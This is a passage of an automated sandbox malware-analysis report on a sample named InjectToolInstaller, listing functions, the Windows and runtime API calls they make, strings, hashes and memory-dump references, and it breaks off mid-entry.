Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: Decorator::getName::operator+=Name::operator=Typeoperator+
String ID: std::nullptr_t$std::nullptr_t $volatile
API String ID: 3947872781-294867888
Opcode ID: 728dd631d52f631c6aa8656b493327bdb81e4a2a2de04be15aa6529eb6a02a22
Instruction ID: b3a45296ffea96230505b77a011b669a4bf477015d5c25f63748f7e57885d544
Opcode Fuzzy Hash: 728dd631d52f631c6aa8656b493327bdb81e4a2a2de04be15aa6529eb6a02a22
Instruction Fuzzy Hash: EB51E676404209EFEB25DF6DD8469E9FFA8EB11FC9F04416EE54997928C672CE01CB40

Uniqueness

Uniqueness Score: -1.00%

Function 013CBA94 Relevance: 19.4, APIs: 5, Strings: 6, Instructions: 106COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::DName.LIBVCRUNTIME ref: 013CBACA
operator+.LIBCMT ref: 013CBADD
DName::DName.LIBVCRUNTIME ref: 013CBB73
DName::operator+.LIBCMT ref: 013CBB7A
operator+.LIBCMT ref: 013CBBB8

Strings

std::nullptr_t , xrefs: 013CBB29
void, xrefs: 013CBAC2
std::nullptr_t, xrefs: 013CBB21
cli::array<, xrefs: 013CBB6B
void , xrefs: 013CBAD5
cli::pin_ptr<, xrefs: 013CBB98

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: NameName::operator+$Name::operator+
String ID: cli::array<$cli::pin_ptr<$std::nullptr_t$std::nullptr_t $void$void
API String ID: 783833482-2239912363
Opcode ID: 372a6a18777831f7ed120d03c8a68b06866eccff281cbd80e4ae08e869ff5575
Instruction ID: be02df6736f41ed0b68047f644bcb771dd4cb382c9eda90fc921fd6a24e40a89
Opcode Fuzzy Hash: 372a6a18777831f7ed120d03c8a68b06866eccff281cbd80e4ae08e869ff5575
Instruction Fuzzy Hash: 6341B13190420CAFEF22CF19CC52BEABBE9EF04F99F04809EE94457259D7B19E448B40

Uniqueness

Uniqueness Score: -1.00%

Function 013A2035 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 78librarystringloaderCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(?), ref: 013A2059
GetModuleHandleA.KERNEL32(kernel32.dll,SetDefaultDllDirectories), ref: 013A207F
GetProcAddress.KERNEL32(00000000), ref: 013A2086
GetSystemDirectoryW.KERNEL32(?,00000106), ref: 013A20AB
lstrlenW.KERNEL32(?), ref: 013A20C7
lstrcatW.KERNEL32 ref: 013A211B
LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 013A212C

Strings

.dll, xrefs: 013A210F
SetDefaultDllDirectories, xrefs: 013A2075
UXTHEME, xrefs: 013A20E3, 013A20EB
kernel32.dll, xrefs: 013A207A

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemVersionlstrcatlstrlen
String ID: .dll$SetDefaultDllDirectories$UXTHEME$kernel32.dll
API String ID: 532070074-1956823469
Opcode ID: 9f29ef2ea5db475cad06c82f8e3a8c3e206a9e60fd7d2ff3296e0fef07662700
Instruction ID: 643d7f2afceaca15b74d254fe5287053e9da275b03222d5250126f2c1565ddb6
Opcode Fuzzy Hash: 9f29ef2ea5db475cad06c82f8e3a8c3e206a9e60fd7d2ff3296e0fef07662700
Instruction Fuzzy Hash: 0421F632A4031AA7EB31EF78D948B9A77BDEF04708F40059EDA44E3154DB709A84CB50

Uniqueness

Uniqueness Score: -1.00%

Function 013EA617 Relevance: 18.4, APIs: 12, Instructions: 376COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 013EA65F
_free.LIBCMT ref: 013EA683
_free.LIBCMT ref: 013EA690
_free.LIBCMT ref: 013EA6B5
_free.LIBCMT ref: 013EA6C2
_free.LIBCMT ref: 013EA6CB
_free.LIBCMT ref: 013EA9A9
_free.LIBCMT ref: 013EA9B1

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 5f7c7328abe7d9dde7f1fedf68774f51c9b4beb7cc5af48716ad386d7b02770a
Instruction ID: 8693aa53ebb1240924d20bad0f8990085a2eda4d810b44b036167e9e19d3071f
Opcode Fuzzy Hash: 5f7c7328abe7d9dde7f1fedf68774f51c9b4beb7cc5af48716ad386d7b02770a
Instruction Fuzzy Hash: 02C16376D4020AAFDB20DBACCD86FEF77F9AB18704F154165FA05FB281D67099418BA0

Uniqueness

Uniqueness Score: -1.00%

Function 013B4E42 Relevance: 16.6, APIs: 11, Instructions: 143COMMON

Download Yara Rule

APIs

_memcmp.LIBVCRUNTIME ref: 013B4E5B
_memcmp.LIBVCRUNTIME ref: 013B4E6E
_memcmp.LIBVCRUNTIME ref: 013B4E8B
_memcmp.LIBVCRUNTIME ref: 013B4EA9
_memcmp.LIBVCRUNTIME ref: 013B4EC7
_memcmp.LIBVCRUNTIME ref: 013B4F77

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: c583d555adf5365c200d731360882f03f0c3d51a13b16386b9c0b112c826a2d9
Instruction ID: 7ae930025c7bec79b5f5b878c804522943b4d065429fff3aa959d379a9af732d
Opcode Fuzzy Hash: c583d555adf5365c200d731360882f03f0c3d51a13b16386b9c0b112c826a2d9
Instruction Fuzzy Hash: CA41837150461ABBDB119A1ADC81FE773BC9E51ADCB044029FD0AA7913F330EE19C799

Uniqueness

Uniqueness Score: -1.00%

Function 013E5798 Relevance: 15.1, APIs: 10, Instructions: 54COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 013E57AC

Part of subcall function 013D1C0F: HeapFree.KERNEL32(00000000,00000000), ref: 013D1C25
Part of subcall function 013D1C0F: GetLastError.KERNEL32(?,?,013EADAE,?,00000000,?,00000000,?,013EB0D0,?,00000007,?,?,013EBF1C,?,?), ref: 013D1C37

_free.LIBCMT ref: 013E57B8
_free.LIBCMT ref: 013E57C3
_free.LIBCMT ref: 013E57CE
_free.LIBCMT ref: 013E57D9
_free.LIBCMT ref: 013E57E4
_free.LIBCMT ref: 013E57EF
_free.LIBCMT ref: 013E57FA
_free.LIBCMT ref: 013E5805
_free.LIBCMT ref: 013E5813

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: b3cc4229e1a09711ec73168e72831c75d0d07a4723e966f0678e38eb5a45ec9b
Instruction ID: 5f934eca63da7098e3a32d48d960086fff7d0f8d13fbfcee372827d9094f82de
Opcode Fuzzy Hash: b3cc4229e1a09711ec73168e72831c75d0d07a4723e966f0678e38eb5a45ec9b
Instruction Fuzzy Hash: 3D118376510109BFCF01FF98D881CD93BA6EF14255B5141A5FA088F261DA31EEA0AB80

Uniqueness

Uniqueness Score: -1.00%

Function 013CAA1D Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 145COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::doPchar.LIBVCRUNTIME ref: 013CAAAF
DName::operator+.LIBCMT ref: 013CAAC6
DName::operator+=.LIBCMT ref: 013CAADB
DName::DName.LIBVCRUNTIME ref: 013CAB54
DName::doPchar.LIBVCRUNTIME ref: 013CAB8B

Strings

>, xrefs: 013CAB7A

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: Name::doPchar$NameName::Name::operator+Name::operator+=
String ID: >
API String ID: 129974868-325317158
Opcode ID: 920083e957f28d372237e15b98c1ac1477b009d3fb306dbd411c36e73fa1bba5
Instruction ID: 3c4436eab81ecdecec10bbd9e28acd04abda6d061337b78f011d3f76ae617ec5
Opcode Fuzzy Hash: 920083e957f28d372237e15b98c1ac1477b009d3fb306dbd411c36e73fa1bba5
Instruction Fuzzy Hash: 7D516B7590020D9FDB15DFA9C590AEEBFB5EF05B48F10809EE601AB765E7B09E00CB91

Uniqueness

Uniqueness Score: -1.00%

Function 013CBCDF Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 84COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+=.LIBCMT ref: 013CBD35

Part of subcall function 013C83BE: DName::operator=.LIBVCRUNTIME ref: 013C83DF

UnDecorator::UScore.LIBCMT ref: 013CBD3C
DName::operator+=.LIBCMT ref: 013CBD46

Part of subcall function 013C83BE: _HeapManager::getMemory.LIBVCRUNTIME ref: 013C83EE
Part of subcall function 013C83BE: pcharNode::pcharNode.LIBVCRUNTIME ref: 013C8407
Part of subcall function 013C83BE: DName::append.LIBCMT ref: 013C8411

DName::operator+=.LIBCMT ref: 013CBD71
DName::operator+=.LIBCMT ref: 013CBD84
DName::operator+=.LIBCMT ref: 013CBD9C

Strings

cpu, xrefs: 013CBD69
amp, xrefs: 013CBD62

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: Name::operator+=$Decorator::HeapManager::getMemoryName::appendName::operator=NodeNode::pcharScorepchar
String ID: amp$cpu
API String ID: 2347068663-2542064945
Opcode ID: 22679aba0bd30317c01e4cd794396e7b815dbac53ce0719b49dd4c95eb070803
Instruction ID: 0337cbaf51541e35dcd4b2878a1809f31461bb7099d65f710a04b18fcb6440e7
Opcode Fuzzy Hash: 22679aba0bd30317c01e4cd794396e7b815dbac53ce0719b49dd4c95eb070803
Instruction Fuzzy Hash: E7210675500208AFCB10DFADC98A9EDFFE8EB14E94F14409EE545972A4CA718E01C782

Uniqueness

Uniqueness Score: -1.00%

Function 013BCFBE Relevance: 13.6, APIs: 9, Instructions: 135COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000067), ref: 013BCFDE

Part of subcall function 013AD3F4: __EH_prolog3.LIBCMT ref: 013AD3FB
Part of subcall function 013AD3F4: SetWindowTextW.USER32 ref: 013AD40F

GetDlgItem.USER32(?,00000064), ref: 013BCFF6

Part of subcall function 013AD3F4: SetWindowTextA.USER32(00000068,00000000), ref: 013AD43D

Part of subcall function 013A9010: GetDlgItem.USER32(?,?), ref: 013A901F
Part of subcall function 013A9010: GetWindowRect.USER32(00000000), ref: 013A9026

GetDlgItem.USER32(?,00000064), ref: 013BD01F
GetDC.USER32(00000000), ref: 013BD022
DrawTextW.USER32(00000000), ref: 013BD029
GetDlgItem.USER32(?,00000065), ref: 013BD096
GetDlgItem.USER32(?,00000065), ref: 013BD0D3
ShowWindow.USER32(00000000,00000000), ref: 013BD0D8

Part of subcall function 013A91A9: GetDlgItem.USER32(?,?), ref: 013A91B2
Part of subcall function 013A91A9: MoveWindow.USER32(00000000,?,?,?,?,?), ref: 013A91CA

Part of subcall function 013BCE63: GetWindowRect.USER32(?,?), ref: 013BCE91
Part of subcall function 013BCE63: MoveWindow.USER32(?,?,?,?,?,00000000), ref: 013BCEB9

GetDlgItem.USER32(?,00000066), ref: 013BD0E3

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: Item$Window$Text$MoveRect$DrawH_prolog3Show
String ID:
API String ID: 3963807228-0
Opcode ID: 79f1caaf98b3b21d7da72570a080c7d4248bbcf4c2f5179d327f2f72ff5c2c30
Instruction ID: fca5bd373afe6af1be325719e72a17cfa0d84484f2bd203db64052b47e9b7c70
Opcode Fuzzy Hash: 79f1caaf98b3b21d7da72570a080c7d4248bbcf4c2f5179d327f2f72ff5c2c30
Instruction Fuzzy Hash: EC415472A00109ABDF10EFA8CD85EAE7B7AEF44714F554058FE047F295CA72AC11CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 013B8A66 Relevance: 13.6, APIs: 9, Instructions: 110COMMON

Download Yara Rule

APIs

_memcmp.LIBVCRUNTIME ref: 013B8A7F
_memcmp.LIBVCRUNTIME ref: 013B8A92
_memcmp.LIBVCRUNTIME ref: 013B8AAF
_memcmp.LIBVCRUNTIME ref: 013B8ACD
_memcmp.LIBVCRUNTIME ref: 013B8AEB

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: f7c1926358306496cfd17d93ad965d6ff1024be0b76e25ecce88d36b7ea6a5aa
Instruction ID: 28fc37527d7d27aed8380472fe5cc1d8ff5052c88a37170bba3072810b76e1fd
Opcode Fuzzy Hash: f7c1926358306496cfd17d93ad965d6ff1024be0b76e25ecce88d36b7ea6a5aa
Instruction Fuzzy Hash: C0313CB5A0420EABEB05DE29CCC1EFB737CAB51ACCB144169FD049A912F630DE568791

Uniqueness

Uniqueness Score: -1.00%

Function 013D100B Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 274COMMON

Download Yara Rule

APIs

Part of subcall function 013E59CB: GetLastError.KERNEL32(?,?,013CDA6D,0140DBA8,00000010), ref: 013E59CF
Part of subcall function 013E59CB: _free.LIBCMT ref: 013E5A02
Part of subcall function 013E59CB: SetLastError.KERNEL32(00000000), ref: 013E5A43
Part of subcall function 013E59CB: _abort.LIBCMT ref: 013E5A49

_memcmp.LIBVCRUNTIME ref: 013D12B5
_free.LIBCMT ref: 013D1326
_free.LIBCMT ref: 013D133F
_free.LIBCMT ref: 013D1371
_free.LIBCMT ref: 013D137A
_free.LIBCMT ref: 013D1386

Strings

C, xrefs: 013D1173

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: _free$ErrorLast$_abort_memcmp
String ID: C
API String ID: 1679612858-1037565863
Opcode ID: 177892179e5e714065b7a6819f38c043222302e90272a2211f81b59db2bfb94a
Instruction ID: c186c3c52670639eecbc3e724dab26a0fd9a8e4c05f1afb26469be6a82c6d19a
Opcode Fuzzy Hash: 177892179e5e714065b7a6819f38c043222302e90272a2211f81b59db2bfb94a
Instruction Fuzzy Hash: 66C14C76A0121ADFDB25DF18D884AADB7B5FF48308F1045AEE909A7355D731AE90CF40

Uniqueness

Uniqueness Score: -1.00%

Function 013CA654 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 126COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::DName.LIBVCRUNTIME ref: 013CA67F
DName::DName.LIBVCRUNTIME ref: 013CA74C

Part of subcall function 013C7CD0: __aulldvrm.LIBCMT ref: 013C7D19
Part of subcall function 013C7CD0: DName::doPchar.LIBVCRUNTIME ref: 013C7D44

operator+.LIBCMT ref: 013CA6B6

Part of subcall function 013C81D6: DName::DName.LIBVCRUNTIME ref: 013C81E7
Part of subcall function 013C81D6: DName::operator+.LIBCMT ref: 013C81EE

operator+.LIBCMT ref: 013CA757
DName::DName.LIBVCRUNTIME ref: 013CA764
DName::DName.LIBVCRUNTIME ref: 013CA733

Part of subcall function 013C7D5E: __aulldvrm.LIBCMT ref: 013C7D8F
Part of subcall function 013C7D5E: DName::doPchar.LIBVCRUNTIME ref: 013C7DAC

Strings

`non-type-template-parameter, xrefs: 013CA669

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: NameName::$Name::doPchar__aulldvrmoperator+$Name::operator+
String ID: `non-type-template-parameter
API String ID: 2432339033-4247534891
Opcode ID: 435dac1daff6344e548672d3768b8ae3b1a8432f459701d698e18c68ed89aa85
Instruction ID: 1c248619b7325f0f1b80fd3f21477431fcc5fe96cb05dbae22459bbf3485b304
Opcode Fuzzy Hash: 435dac1daff6344e548672d3768b8ae3b1a8432f459701d698e18c68ed89aa85
Instruction Fuzzy Hash: 7A41C3B290510E9FDB15EFACC844ABA7FB9FB51B58F04805DE90A9B651E6309C42CB90

Uniqueness

Uniqueness Score: -1.00%

Function 013C94AA Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 78COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::DName.LIBVCRUNTIME ref: 013C9582

Part of subcall function 013C93AB: Replicator::operator[].LIBVCRUNTIME ref: 013C9420
Part of subcall function 013C93AB: DName::operator+=.LIBVCRUNTIME ref: 013C9428

DName::operator+.LIBCMT ref: 013C952A

Strings

..., xrefs: 013C9565
void, xrefs: 013C957A
,<ellipsis>, xrefs: 013C951D, 013C9522
<ellipsis>, xrefs: 013C956C, 013C9571
,..., xrefs: 013C9516

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: NameName::Name::operator+Name::operator+=Replicator::operator[]
String ID: ,...$,<ellipsis>$...$<ellipsis>$void
API String ID: 851857897-2211150622
Opcode ID: 27a5574817ca421a849e16b09bc07d155d096c2d6ce057d5c988628c04cfbc70
Instruction ID: d22b76e5900ca0acaf53d68c5ee22b4025c8ada4730a3a5e4e74ea0895c2431d
Opcode Fuzzy Hash: 27a5574817ca421a849e16b09bc07d155d096c2d6ce057d5c988628c04cfbc70
Instruction Fuzzy Hash: B6218975601609CFCB15CF2DC590BA63FE4EB25B48F06819DEA4ACB761CA30DD00CB40

Uniqueness

Uniqueness Score: -1.00%

Function 013C9783 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

UnDecorator::UScore.LIBCMT ref: 013C978B
DName::DName.LIBVCRUNTIME ref: 013C9795

Part of subcall function 013C7C53: DName::doPchar.LIBVCRUNTIME ref: 013C7C7A

DName::operator+=.LIBVCRUNTIME ref: 013C97DE
DName::operator+=.LIBCMT ref: 013C97ED
DName::operator+=.LIBCMT ref: 013C97F9
DName::operator+=.LIBCMT ref: 013C9806

Strings

void, xrefs: 013C97E5

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: Name::operator+=$Decorator::NameName::Name::doPcharScore
String ID: void
API String ID: 1092095640-3531332078
Opcode ID: e7bec24e8950474c6641b78df02eadacd1b468e908807c66f38d4f6deac9cba2
Instruction ID: 83fe337f1d2cde9b4451f6cf3976c1e01c8e81ab3b911a926d5aef3639809161
Opcode Fuzzy Hash: e7bec24e8950474c6641b78df02eadacd1b468e908807c66f38d4f6deac9cba2
Instruction Fuzzy Hash: 2A11A934804209AFEB08EF6CC998BB87BA4EB20B0CF01809DD4096B2A1DB719E45CB40

Uniqueness

Uniqueness Score: -1.00%

Function 013ACBA6 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 35libraryloaderCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 013ACBAD
CoInitialize.OLE32(00000000), ref: 013ACBB5
GetModuleHandleW.KERNEL32(shell32.dll,SHBrowseForFolderW), ref: 013ACBC8
GetProcAddress.KERNEL32(00000000), ref: 013ACBCF
CoUninitialize.OLE32 ref: 013ACC0D

Part of subcall function 013ACC7E: __EH_prolog3.LIBCMT ref: 013ACC85
Part of subcall function 013ACC7E: SHGetMalloc.SHELL32(?), ref: 013ACC9C
Part of subcall function 013ACC7E: __CxxThrowException@8.LIBVCRUNTIME ref: 013ACCB6

Part of subcall function 013ACD28: GetModuleHandleW.KERNEL32(shell32.dll,SHGetPathFromIDListW), ref: 013ACD45
Part of subcall function 013ACD28: GetProcAddress.KERNEL32(00000000), ref: 013ACD4C

Strings

SHBrowseForFolderW, xrefs: 013ACBBB
shell32.dll, xrefs: 013ACBC0

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: AddressH_prolog3HandleModuleProc$Exception@8InitializeMallocThrowUninitialize
String ID: SHBrowseForFolderW$shell32.dll
API String ID: 334524032-3510330605
Opcode ID: 3d34baeb64cf41892e795bb7dc83c6b158acacf79baf7039d897061b42a6ff08
Instruction ID: d97568714c55847af19e249407ded31e6ac067a2cb9abdb7c198bb32ed99d1b2
Opcode Fuzzy Hash: 3d34baeb64cf41892e795bb7dc83c6b158acacf79baf7039d897061b42a6ff08
Instruction Fuzzy Hash: 1CF0AF72501209AFCB10BFB8C888A8D3E2CEF22748F04A01DFE095B241CA308609DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 013A100A Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,FindFirstStreamW), ref: 013AA522
GetProcAddress.KERNEL32(00000000), ref: 013AA529
GetModuleHandleA.KERNEL32(kernel32.dll,FindNextStreamW), ref: 013AA53E
GetProcAddress.KERNEL32(00000000), ref: 013AA545

Strings

FindNextStreamW, xrefs: 013AA52F
FindFirstStreamW, xrefs: 013AA516
kernel32.dll, xrefs: 013AA51B, 013AA534

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: FindFirstStreamW$FindNextStreamW$kernel32.dll
API String ID: 1646373207-4044117955
Opcode ID: e3c920d651c9d09cef87aeb8cab276e4da4df0952dd7b48aa4de9bd099ebdfb4
